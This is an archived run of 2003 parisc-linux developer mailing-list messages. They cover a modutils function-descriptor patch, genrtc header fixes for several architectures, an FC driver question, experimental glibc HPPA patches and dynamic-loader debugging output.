List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18042

On Sun, 23 Mar 2003 03:23:18 +0000, 
Matthew Wilcox <willy@debian.org> wrote:
>On Sun, Mar 23, 2003 at 02:16:01PM +1100, Keith Owens wrote:
>> This version of modutils is functionally identical to 2.4.23 except for
>> those architectures that have function descriptors, i.e. ia64 and
>> ppc64.
>
>parisc also has function descriptors.  what needs to happen for us?

Index: 24.3/include/util.h
--- 24.3/include/util.h Sun, 23 Mar 2003 13:34:28 +1100 kaos (modutils-2.4/51_util.h 1.4 644)
+++ 24.3(w)/include/util.h Sun, 23 Mar 2003 14:28:36 +1100 kaos (modutils-2.4/51_util.h 1.4 644)
@@ -96,7 +96,7 @@ void gzf_close(int fd);
 #define SYMPREFIX "__insmod_";
 extern const char symprefix[10];	/* Must be sizeof(SYMPREFIX), including nul */
 
-#if defined(ARCH_ia64) || defined(ARCH_ppc64)
+#if defined(ARCH_ia64) || defined(ARCH_ppc64) || defined(ARCH_hppa64)
 #define HAS_FUNCTION_DESCRIPTORS
 #endif
 



From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Announce: modutils 2.4.24 is available
Date: Sat, 22 Mar 2003 22:37:43 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200303230337.h2N3bhAC026836__45314.696050673$1416622319$gmane$org@hiauly1.hia.nrc.ca>
References: <8755.1048390145@ocs3.intra.ocs.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622319 23525 80.91.229.3 (22 Nov 2014 02:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:59 +0000 (UTC)
Cc: willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: kaos@ocs.com.au (Keith Owens)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 20:37:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23FB5482B
	for <parisc-linux@parisc-linux.org>; Sat, 22 Mar 2003 20:37:57 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8) with ESMTP id h2N3bisQ026837;
	Sat, 22 Mar 2003 22:37:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.8/8.12.8/Submit) id h2N3bhAC026836;
	Sat, 22 Mar 2003 22:37:43 -0500 (EST)
In-Reply-To: <8755.1048390145@ocs3.intra.ocs.com.au> from "Keith Owens" at Mar 23, 2003 02:29:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18043

> -#if defined(ARCH_ia64) || defined(ARCH_ppc64)
> +#if defined(ARCH_ia64) || defined(ARCH_ppc64) || defined(ARCH_hppa64)
>  #define HAS_FUNCTION_DESCRIPTORS
>  #endif

The 32-bit hppa port also has function descriptors.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@ocs.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Announce: modutils 2.4.24 is available
Date: Sun, 23 Mar 2003 14:41:33 +1100
Lines: 26
Approved: news@gmane.org
Message-ID: <8942.1048390893__12080.7555890226$1416622320$gmane$org@ocs3.intra.ocs.com.au>
References: <200303230337.h2N3bhAC026836@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622320 23528 80.91.229.3 (22 Nov 2014 02:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:00 +0000 (UTC)
Cc: willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 20:41:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2])
	by dsl2.external.hp.com (Postfix) with SMTP id AB631482B
	for <parisc-linux@parisc-linux.org>; Sat, 22 Mar 2003 20:41:46 -0700 (MST)
Original-Received: (qmail 5848 invoked from network); 23 Mar 2003 03:41:42 -0000
Original-Received: from ocs3.intra.ocs.com.au (192.168.255.3)
  by mail.ocs.com.au with SMTP; 23 Mar 2003 03:41:42 -0000
Original-Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331)
	id C13563000B8; Sun, 23 Mar 2003 14:41:39 +1100 (EST)
Original-Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1])
	by ocs3.intra.ocs.com.au (Postfix) with ESMTP
	id 22A998F; Sun, 23 Mar 2003 14:41:38 +1100 (EST)
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of "Sat, 22 Mar 2003 22:37:43 CDT."
             <200303230337.h2N3bhAC026836@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18044

On Sat, 22 Mar 2003 22:37:43 -0500 (EST), 
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:
>> -#if defined(ARCH_ia64) || defined(ARCH_ppc64)
>> +#if defined(ARCH_ia64) || defined(ARCH_ppc64) || defined(ARCH_hppa64)
>>  #define HAS_FUNCTION_DESCRIPTORS
>>  #endif
>
>The 32-bit hppa port also has function descriptors.

They keep coming out of the woodwork :(  Any more architectures using
function descriptors?  Just add them to the list below.

Index: 24.3/include/util.h
--- 24.3/include/util.h Sun, 23 Mar 2003 13:34:28 +1100 kaos (modutils-2.4/51_util.h 1.4 644)
+++ 24.3(w)/include/util.h Sun, 23 Mar 2003 14:40:06 +1100 kaos (modutils-2.4/51_util.h 1.4 644)
@@ -96,7 +96,7 @@ void gzf_close(int fd);
 #define SYMPREFIX "__insmod_";
 extern const char symprefix[10];	/* Must be sizeof(SYMPREFIX), including nul */
 
-#if defined(ARCH_ia64) || defined(ARCH_ppc64)
+#if defined(ARCH_ia64) || defined(ARCH_ppc64) || defined(ARCH_hppa) || defined(ARCH_hppa64)
 #define HAS_FUNCTION_DESCRIPTORS
 #endif
 



From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Sat, 22 Mar 2003 23:24:54 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20030323062454.GA24168@dsl2.external.hp.com>
References: <3E68A12A00002910@ocpmta3.freegates.net> <20030317111801.GF17073@lug-owl.de> <20030317161445.GA31378@dsl2.external.hp.com> <1047918143.14507.18.camel@beavis.ybsoft.com> <20030317163804.GC31378@dsl2.external.hp.com> <3E7CDCA3.2040700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622320 23530 80.91.229.3 (22 Nov 2014 02:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 23:24:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DE387482B; Sat, 22 Mar 2003 23:24:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E7CDCA3.2040700@tiscali.be>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18045

On Sat, Mar 22, 2003 at 09:58:59PM +0000, Joel Soete wrote:
> Is a FC hub is required to expect to use this driver (under hpux we used 
> this card directly connected to fc of a XP512 diskarray)?

I don't think so. I just happen to have the couple of disks/hosts all
connected to a pair of hubs.

grant


From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Linux 2.5.65-ac2 (drivers/char/genrtc.c compile failure on i386)
Date: Sun, 23 Mar 2003 11:58:37 +0100 (MET)
Lines: 124
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0303231155380.9116-100000__23451.8010671765$1416622320$gmane$org@vervain.sonytel.be>
References: <20030322202201.GA32386@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622320 23536 80.91.229.3 (22 Nov 2014 02:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:00 +0000 (UTC)
Cc: Alan Cox <alan@redhat.com>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>
To: Marco Roeland <marco.roeland@xs4all.nl>,
	Duncan Sands <baldrick@wanadoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 23 03:58:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2CD78482B
	for <parisc-linux@parisc-linux.org>; Sun, 23 Mar 2003 03:58:52 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.27])
	by mail.sonytel.be (8.9.0p/8.8.6) with ESMTP id LAA15150;
	Sun, 23 Mar 2003 11:58:21 +0100 (MET)
In-Reply-To: <20030322202201.GA32386@localhost>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18046

On Sat, 22 Mar 2003, Marco Roeland wrote:
> On Friday March 21st 2003 at 12:41 Alan Cox wrote:
> > Linux 2.5.65-ac2
> >       ...
> > o	M68K rtc updates				(Geert Uytterhoeven)
> 
> The file drivers/char/genrtc.c was updated, but include/arch-generic/rtc.h
> which is used on i386 wasn't (yet?), leading to compile failures on i386:
> (the missing define is only the first symptom)

Oops, until last Friday I didn't even know genrtc was used on ia32...

Anyway, can you please give this a try? I also updated PPC and PA-RISC, the
other two known users of genrtc I forgot to update.

--- linux-2.5.x/include/asm-generic/rtc.h.orig	Mon Feb 10 21:59:25 2003
+++ linux-2.5.x/include/asm-generic/rtc.h	Sun Mar 23 11:47:24 2003
@@ -22,9 +22,8 @@
 #define RTC_AIE 0x20		/* alarm interrupt enable */
 #define RTC_UIE 0x10		/* update-finished interrupt enable */
 
-extern void gen_rtc_interrupt(unsigned long);
-
 /* some dummy definitions */
+#define RTC_BATT_BAD 0x100	/* battery bad */
 #define RTC_SQWE 0x08		/* enable square-wave output */
 #define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
@@ -43,7 +42,7 @@
 	return uip;
 }
 
-static inline void get_rtc_time(struct rtc_time *time)
+static inline unsigned int get_rtc_time(struct rtc_time *time)
 {
 	unsigned long uip_watchdog = jiffies;
 	unsigned char ctrl;
@@ -108,6 +107,8 @@
 		time->tm_year += 100;
 
 	time->tm_mon--;
+
+	return RTC_24H;
 }
 
 /* Set the current date and time in the real time clock. */
--- linux-2.5.x/include/asm-parisc/rtc.h.orig	Wed Aug 28 08:33:46 2002
+++ linux-2.5.x/include/asm-parisc/rtc.h	Sun Mar 23 11:52:15 2003
@@ -24,7 +24,7 @@
 #define RTC_AIE 0x20		/* alarm interrupt enable */
 #define RTC_UIE 0x10		/* update-finished interrupt enable */
 
-extern void gen_rtc_interrupt(unsigned long);
+#define RTC_BATT_BAD 0x100	/* battery bad */
 
 /* some dummy definitions */
 #define RTC_SQWE 0x08		/* enable square-wave output */
@@ -44,14 +44,14 @@
 	{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
 };
 
-static int get_rtc_time(struct rtc_time *wtime)
+static inline unsigned int get_rtc_time(struct rtc_time *wtime)
 {
 	struct pdc_tod tod_data;
 	long int days, rem, y;
 	const unsigned short int *ip;
 
 	if(pdc_tod_read(&tod_data) < 0)
-		return -1;
+		return RTC_24H | RTC_BATT_BAD;
 
 	
 	// most of the remainder of this function is:
@@ -93,7 +93,7 @@
 	wtime->tm_mon = y;
 	wtime->tm_mday = days + 1;
 	
-	return 0;
+	return RTC_24H;
 }
 
 static int set_rtc_time(struct rtc_time *wtime)
--- linux-2.5.x/include/asm-ppc/rtc.h.orig	Tue Feb 18 10:08:44 2003
+++ linux-2.5.x/include/asm-ppc/rtc.h	Sun Mar 23 11:47:31 2003
@@ -35,15 +35,14 @@
 #define RTC_AIE 0x20		/* alarm interrupt enable */
 #define RTC_UIE 0x10		/* update-finished interrupt enable */
 
-extern void gen_rtc_interrupt(unsigned long);
-
 /* some dummy definitions */
+#define RTC_BATT_BAD 0x100	/* battery bad */
 #define RTC_SQWE 0x08		/* enable square-wave output */
 #define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
-static inline void get_rtc_time(struct rtc_time *time)
+static inline unsigned int get_rtc_time(struct rtc_time *time)
 {
 	if (ppc_md.get_rtc_time) {
 		unsigned long nowtime;
@@ -55,6 +54,7 @@
 		time->tm_year -= 1900;
 		time->tm_mon -= 1; /* Make sure userland has a 0-based month */
 	}
+	return RTC_24H;
 }
 
 /* Set the current date and time in the real time clock. */

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Preliminary] HPPA Patches for glibc 2.3.2
Date: Sun, 23 Mar 2003 22:10:32 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20030324031032.GA27086__49944.8300143287$1416622320$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622320 23547 80.91.229.3 (22 Nov 2014 02:12:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:00 +0000 (UTC)
To: debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 23 20:10:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E379482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Mar 2003 20:10:06 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18xIM6-00075x-00; Sun, 23 Mar 2003 22:10:34 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	debian-glibc@lists.debian.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (57% Sync Ratio [======....])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18047

Hackers,

The following is the set of preliminary patches allows HPPA to build a
semi-functional 32-bit GLibc (against upstream CVS head as of today).

http://www.baldric.uwo.ca/~carlos/glibc-2.3.2-patches.tar.gz

I'm almost certain that I _don't_ have the sysdep-cancel code correctly
implemented, but I'll have another go when I get some more free time.

Please do not commit this to the CVS, this is purely experimental for
anyone who wants to try building upstream source + patches for HPPA. I
can think of atleast 2 people who might, so I'm providing these patches
as a snapshot of my current work.

Comments on sysdep-cancel.h changes are more than welcome since it has
to be wrong because the tst-cancel* failures are blatent (and my PA
assembly prolly has a bug).

Cheers,
Carlos.



From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 24 Mar 2003 08:22:35 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <3E6C78E100004943@ocpmta2.freegates.net>
References: <20030323062454.GA24168@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622321 23549 80.91.229.3 (22 Nov 2014 02:12:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 00:22:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FF0B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 00:22:44 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18xMI5-00019r-00; Mon, 24 Mar 2003 08:22:41 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 24 Mar 2003 08:22:35 +0100
In-Reply-To: <20030323062454.GA24168@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18048

>-- Original Message --
>Date: Sat, 22 Mar 2003 23:24:54 -0700
>To: Joel Soete <joel.soete@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] FC driver?
>From: grundler@dsl2.external.hp.com (Grant Grundler)
>
>
>On Sat, Mar 22, 2003 at 09:58:59PM +0000, Joel Soete wrote:
>> Is a FC hub is required to expect to use this driver (under hpux we used
>
>> this card directly connected to fc of a XP512 diskarray)?
>
>I don't think so. I just happen to have the couple of disks/hosts all
>connected to a pair of hubs.

Ah ok (but as I have no doc I do not progress a lot and so still hoppe answer
from Martin :)

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /lib/ld.so.1 (glibc) issues on parisc-linux 2.5
	kernel??
Date: 24 Mar 2003 01:05:34 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <1048493134.8777.22.camel__26345.5224842348$1416622321$gmane$org@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622321 23579 80.91.229.3 (22 Nov 2014 02:12:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-alpha@sources.redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 24 01:05:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 251B4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Mar 2003 01:05:36 -0700 (MST)
Original-Received: from ns1.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id E6B302B100; Mon, 24 Mar 2003 01:05:34 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18049

Hello again,

I have been working on tracking this down some more, and I think I found
something odd.  I just wanted to verify this is an anomaly (and
potentially the problem) or if this is the correct behavior, understand
why.


I am starting to think the kernel is doing the correct thing and
glibc is causing the problem ... based on debug output from i386
and just my general understanding (or lack of understanding :))
of the elf file format.

The bootstrap_map.l_addr was printed using _dl_debug_printf right
after the following line in glibc-2.3.1/elf/rtld.c:

	      ELF_DYNAMIC_RELOCATE (&bootstrap_map, 0, 0);

The ENTRY_POINT, _start, and user_entry line was added as the first
line of code in the function dl_main in glibc-2.3.1/elf/rtld.c.

This is the debug output on hppa:
---------------------------------
rbrad@vega:~/glibc-2.3.1/hppa-linux/obj/elf$ ./ld.so --verify /bin/sh

05626:  bootstrap_map.l_addr: 41000000
05626:  ENTRY_POINT: 41027162 _start: 41027162 user_entry: 41001ff0


This is the Entry point address from the ld.so library on hppa:
---------------------------------------------------------------
rbrad@vega:~/glibc-2.3.1/hppa-linux/obj/elf$ readelf -a ld.so | grep
Entry
  Entry point address:               0x1ff0




This is the debug output on i386:
---------------------------------
rbrad@beavis:~/debug/glibc-2.3.1/i386-linux/obj/elf$ ./ld.so --verify
/bin/sh
18878:  bootstrap_map.l_addr: 80000000
18878:  ENTRY_POINT: 80000b10 _start: 80000b10 user_entry: 80000b10


